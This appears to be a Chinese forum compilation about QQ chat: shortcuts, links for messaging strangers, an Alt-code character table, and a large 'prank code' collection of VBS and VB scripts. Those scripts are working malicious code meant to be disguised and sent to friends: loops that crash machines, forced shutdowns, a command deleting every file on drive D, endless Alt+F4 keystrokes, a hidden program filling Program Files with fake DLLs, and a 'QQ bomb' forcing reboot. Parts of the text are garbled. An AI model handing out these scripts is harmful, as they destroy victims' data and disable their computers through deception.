跪求QQ的快捷聊天代码
1.Alt+S 快速回复
2.Alt+C 关闭当前窗口 Alt + F4也是关闭
3.Alt+H 打开聊天记录
4.Alt+T 更改消息模式
5.Ait+J 打开聊天纪录
6.Ctrl+A 全选当前对话框里的内容
7.Ctrl+F QQ里直接显示字体设置工具条
8.Ctrl+J 输入框里回车(跟回车一个效果)
9.Ctrl+M 输入框里回车(跟回车一个效果)
10.Ctrl+L 对输入框里当前行的文字左对齐
11.Ctrl+R 对输入框里当前行的文字右对齐
12.Ctrl+E 对输入框里当前行的文字居中
12.Ctrl+V 在qq对话框里实行粘贴
13.Ctrl+Z 清空/恢复输入框里的文字
14.Ctrl+～ 隐藏/显示.QQ于无形.（右下角托盘里也没了）
15.Ctrl+回车 快速回复 这个可能是聊QQ时最常用到的了
16.Ctrl+Alt+Z 快速提取消息（这个的快捷键可以自己设置QQ个人设置——系统设置——热键设置）17.Ctrl+Alt+A 捕捉屏幕
18.开始键 + D 全部最小化，显示桌面
QQ聊天可以用代码吗？怎么用？
QQ强制聊天代码，把代码中的红色的“********”星号换成你想与其聊天的QQ号即可。
代码如下：http://wpa.qq.com/msgrd?V=1Uin=********Site=ioshenmueMenu=yes
使用方法：把代码中的红色的“********”星号换成你想与其聊天的QQ号后复制到浏览器的地址栏处即可。无论他是否你的好友，你无须加他为好友就能给他发QQ消息。
注：强制可不好，不过用用也无妨。
qq强制聊天代码原理
1.QQ强制聊天代码，把代码中的“********”星号换成想与其聊天的QQ号即可。
代码如下：http://wpa.qq.com/msgrd?V=1amp;Uin=********amp;Site=ioshenmueMenu=yes
使用方法：把代码中星号换成想与其聊天的QQ号后复制到浏览器的地址栏处即可。无论他是否是好友，无须加好友就能给对方发QQ消息。
2.
第一步：在电脑桌面上点击右键，选择“新建”→“记事本”，然后在其中输入以下代码：
ON ERROR RESUME NEXT
Dim QQ_NUM
if Wscript.arguments.count1 then
QQ_NUM=InputBox(""vbCrvbCr"QQ强行聊天器"vbCrvbCr"","QQ强行聊天器VBS实现","输入你想要聊天的QQ号码，如：123456789")
if QQ_NUM="" then
Wscript_.quit
end if
else
VQQ_NUM = Wscript.arguments.Item(0)
end if
set ws=wscript.createobject("wscript.shell")
ws.run "http://wpa.qq.com/msgrd?V=1Uin="+QQ_NUM+"Site=ioshenmueMenu=yes",0
第二步：当输入完毕之后，点击“文件”，然后选择“另存为”，选择保存名字为“QQ强行聊天器VBS实现.vbs”（不外加引号）。保存类型为“所有文件”。这时在保存的地方双击打开这个文件，就可以在输入的对话框中输入任意QQ聊天了。前提是在本机上已经打开QQ了。
说明：上面是一段VBS代码具体意思如下：
ON ERROR RESUME NEXT 如果程序发生错误继续执行
Dim QQ_NUM 定义变量
inputbox 界面中默认显示内容，大家可以修改
对话框内容 if QQ_NUM="" then 检测用户的输入是否为空，如果为空
Wscript_.quit 退出脚本
3.tencent://Message/?Menu=YESUin=此处替换为您的qq号码websiteName=im.qq.com
把上面那个写入要聊天的QQ号,就是=和之间,那些字是没有的.然后复制到地址栏,确定就行了.不用打开任何网页.
4.tencent://Message/?Menu=YESUin=此处替换为自己的qq号码websiteName=im.qq.com
把上面那个写入你要聊天的QQ号,就是=和之间,那些字是没有的.然后复制到地址栏,确定就行了.不用打开任何网页.
5.有个小技巧,在地址栏输入 “ wpa.qq.com/msgrd?Uin=加明星的QQ号 ”就能和对方聊天啦!以上QQ大多数是加不上好友的!
QQ聊天里，文字有代码吗
一般人都是用此打出"特殊符号"，ALT+五个数字，像ALT+41401是★，ALT+41402是◇。不同的编码自然就有不同的字了，能如此打字是因为QQ，msn。。。。支持内码输入的原因。
QQ里按ALT+29482，网页或记事本中按ALT+55021都会出现“猪”字，会不同那是这些软件采用得文字编码方式不同呢？
简单说，例如“喆”字的十六进制GB码为86B4，转换为十进制为34484；再如“猪”的编码为D6ED，十进制数为55021，而QQ里文字采用的是UNICODE编码，“猪”的编码U+732A，十进制为29482，在QQ里打猪则按ALT+29482。
至于如何查文字的内码，WINDOWS自带的“字符映射表”和EXCEL都可以，查找方法如下：
1.打开"开始--附件--系统工具--字符映射表
2.选"字体"为"宋体",点选"高级查看",选"字符集"为"windows(中文)简体",选中第一个字符,状态栏会显示"U+0021(0x21)叹号","U+0021"表示"!"的Unicode字符编码为0021(十六进制),括号中的编码去掉0x,将余下的"21(十六进制)"转化为十进制(方法:开始--附件--计算器--查看--科学型",在十六进制下输入"21",点十进制,为"33",alt+33就输入"!"了),同理可得其他字符的输入方法...
例如"㊣",在表中查到编码为A949,转为十进制恰好是"43337"...知道了吧, 呵呵
㆒ 3192 12690
㆓ 3193 12691
㆔ 3194 12692
㆕ 3195 12693
㆖ 3196 12694
㆗ 3197 12695
㆘ 3198 12696
㆙ 3199 12697
㆚ 319A 12698
㆛ 319B 12699
㆜ 319C 12700
㆝ 319D 12701
㆞ 319E 12702
㆟ 319F 12703
㊣ 32A3 12963
一 4E00 19968
丁 4E01 19969
丂 4E02 19970
七 4E03 19971
丄 4E04 19972
丅 4E05 19973
丆 4E06 19974
万 4E07 19975
丈 4E08 19976
三 4E09 19977
上 4E0A 19978
下 4E0B 19979
丌 4E0C 19980
不 4E0D 19981
与 4E0E 19982
丏 4E0F 19983
丐 4E10 19984
丑 4E11 19985
丒 4E12 19986
专 4E13 19987
且 4E14 19988
丕 4E15 19989
世 4E16 19990
丗 4E17 19991
丘 4E18 19992
丙 4E19 19993
业 4E1A 19994
丛 4E1B 19995
东 4E1C 19996
丝 4E1D 19997
丞 4E1E 19998
丢 4E1F 19999
丠 4E20 20000
両 4E21 20001
丢 4E22 20002
丣 4E23 20003
两 4E24 20004
严 4E25 20005
并 4E26 20006
丧 4E27 20007
丨 4E28 20008
丩 4E29 20009
个 4E2A 20010
丸 4E38 20024
丹 4E39 20025
为 4E3A 20026
乓 4E53 20051
乔 4E54 20052
乕 4E55 20053
乖 4E56 20054
乗 4E57 20055
今 4ECA 20170
介 4ECB 20171
仌 4ECC 20172
仍 4ECD 20173
从 4ECE 20174
仏 4ECF 20175
仐 4ED0 20176
仑 4ED1 20177
仒 4ED2 20178
仓 4ED3 20179
仔 4ED4 20180
仕 4ED5 20181
他 4ED6 20182
仗 4ED7 20183
付 4ED8 20184
仙 4ED9 20185
仚 4EDA 20186
仛 4EDB 20187
仜 4EDC 20188
仝 4EDD 20189
仞 4EDE 20190
仟 4EDF 20191
仠 4EE0 20192
仡 4EE1 20193
仢 4EE2 20194
代 4EE3 20195
令 4EE4 20196
以 4EE5 20197
仦 4EE6 20198
仧 4EE7 20199
仨 4EE8 20200
仩 4EE9 20201
仪 4EEA 20202
仫 4EEB 20203
们 4EEC 20204
仭 4EED 20205
仮 4EEE 20206
仯 4EEF 20207
似 4F3C 20284
伽 4F3D 20285
伾 4F3E 20286
伿 4F3F 20287
侀 4F80 20352
侁 4F81 20353
侂 4F82 20354
侃 4F83 20355
侄 4F84 20356
侅 4F85 20357
来 4F86 20358
侇 4F87 20359
侈 4F88 20360
侉 4F89 20361
侊 4F8A 20362
例 4F8B 20363
侌 4F8C 20364
侍 4F8D 20365
侎 4F8E 20366
侏 4F8F 20367
侐 4F90 20368
侑 4F91 20369
侒 4F92 20370
価 4FA1 20385
侢 4FA2 20386
偑 5051 20561
俭 5109 20745
儊 510A 20746
剓 5253 21075
剔 5254 21076
剕 5255 21077
剖 5256 21078
剗 5257 21079
剘 5258 21080
匈 5308 21256
匉 5309 21257
匊 530A 21258
陶 530B 21259
匌 530C 21260
匍 530D 21261
匎 530E 21262
匏 530F 21263
匐 5310 21264
匑 5311 21265
匒 5312 21266
匓 5313 21267
匔 5314 21268
匕 5315 21269
化 5316 21270
北 5317 21271
匘 5318 21272
匙 5319 21273
匚 531A 21274
匛 531B 21275
匜 531C 21276
匝 531D 21277
匞 531E 21278
匟 531F 21279
匠 5320 21280
匡 5321 21281
匢 5322 21282
匣 5323 21283
匤 5324 21284
卙 5359 21337
博 535A 21338
卛 535B 21339
卜 535C 21340
卝 535D 21341
卞 535E 21342
卟 535F 21343
占 5360 21344
卡 5361 21345
卢 5362 21346
卣 5363 21347
卤 5364 21348
卥 5365 21349
卦 5366 21350
卧 5367 21351
卨 5368 21352
卩 5369 21353
卪 536A 21354
卫 536B 21355
昂 536C 21356
卭 536D 21357
卮 536E 21358
卯 536F 21359
印 5370 21360
危 5371 21361
卲 5372 21362
即 5373 21363
却 5374 21364
另外一种是按 " ` " (TAB上面那个)再按U 再接四个数字(不能用九宫格)会有该编码的符号出来
第二种的编码表可以按 所有程式(程式集)附属应用程式系统工具字元对应表
第一种好像只能靠别人收集,
我要QQ聊天的恶搞代码
首先你在要建一个文本文档（在桌面点右键
--
新建
--
文本文档）把下面的你想要的代码复制
到文本文档
好
保存
把名字
txt
改成
vbs
就
OK
vbs
整人代码大集合
一、
你打开好友的聊天对话框
,
然后记下在你
里好友的昵称
,
把下面代码里的
xx
替换一下
,
就可以自定义发送
信息到好友的次数
(
代码里的数字
10
改一下即可
).
xx.vbs=
=---------------------------------------------------------------------------
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("
与
xx
聊天中
")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit
----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
骚扰信息
,
也可以用在其它程序上。
二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈
------------------------------------------------------------------------------
do
msgbox "You are foolish!"
loop
----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
三、打开无数个计算器，直到死机
------------------------------------------------------------------------------
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
-----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
四、直接关机
-----------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
-----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
五、删除
D:\
所有文件
---------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
六、不断弹出窗口
----------------------------------------------------------------------------
while(1)
msgbox "
哈哈
你被耍了！
"
loop
----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
七、不断按下
alt+f4
（开什么都关闭„„）
---------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
---------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
八、按
500
次回车
(
以上代码在运行者的电脑上显示
500
个对话框。其中
do until s=500
，
500
可以随意更改
)
-----------------------------------------------------------------------------
dim s
do until s=500
s=s+1
msgbox "
哥们，给我按
500
次回车吧
",64
loop
'------------------------ ------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
九、关不掉的窗口
------------------------------------------------------------------------------------
WScript.Echo("
嘿，谢谢你打开我哦，我等你很久
拉！
"TSName)
WScript.Echo("
你是可爱的小朋吗
?")
WScript.Echo("
哈
,
我想你拉，这你都不知道吗？
")
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
[color=#FF0000]
复制以这个代码，在桌面建一个文本，把代码放进去，另存为
VBS
格式，
此代码的威力：
1
：开机就强制自动关机
2
：
cmd
命令打不开
3
：结束任务不管用
4
：
F8
安全模式也不管用
呵呵！听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、
代码破解方法：就是再运行一次，就可以破解了，也就是第
2
次保存的那个
VBE
文件，
，
PS
：不要乱拿软件去整人，发生什么事可不要怪我啊。
。
拍拍手
顶起吧！
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
恐怖啊
整人
小心用
Private Sub Form_Load()
Me.Hide
End Sub
Private Sub Timer1_Timer()
'
声明变量，其中“
count
”为静态变量，以便生成不同的文件
Dim files As String
Dim nr As String
Dim c As String
Static count As Long
'
定义要把生成的文件存放在那个目录文件下
c = "C:\Program Files\"
'
生成文件的内容
nr = "
哈哈，被黑的感觉的不错吧
"
files = FreeFile
'
如果
a
等于
a
那么就执行
If a = a Then
'count
不断的加
1
，以便产生不同的文件名
count = count + 1
'
产生文件名及文件句柄，并用
count
作为产生不同的文件名。
Open c "system" count ".dll" For Append As #files
'
向文件写内容
Write #files, nr
'
清除文件句柄，这里很重要，如果不清除，将产生打开文件太多的错误提示
Close #files
End If
End Sub
手机QQ的整人代码大全
第一步，将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true
dim a
do while(a "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。方法是把上面的“QQ客是好网站”改成“快说我爱你” 内容来自
第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）
如果谁运行了这个QQ炸弹，在30秒后会自动关机。
下面说一下使用方法：
最简单的使用方法是，你直接发给好友，让他运行，然后他就中招了。
WScript.Echo("谁令你打开这个软件的")
WScript.Echo("这个软件会让你无聊啊！")
WScript.Echo("推荐你来的肯定是个坏蛋！")
WScript.Echo("欢迎来到被整软件站！")
WScript.Echo("是谁设计的？")
WScript.Echo("Is me")
WScript.Echo("你好，你要点30次确定哦！")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")
有什么在QQ聊天中用的vbs整人代码？
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("与 xx 聊天中")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit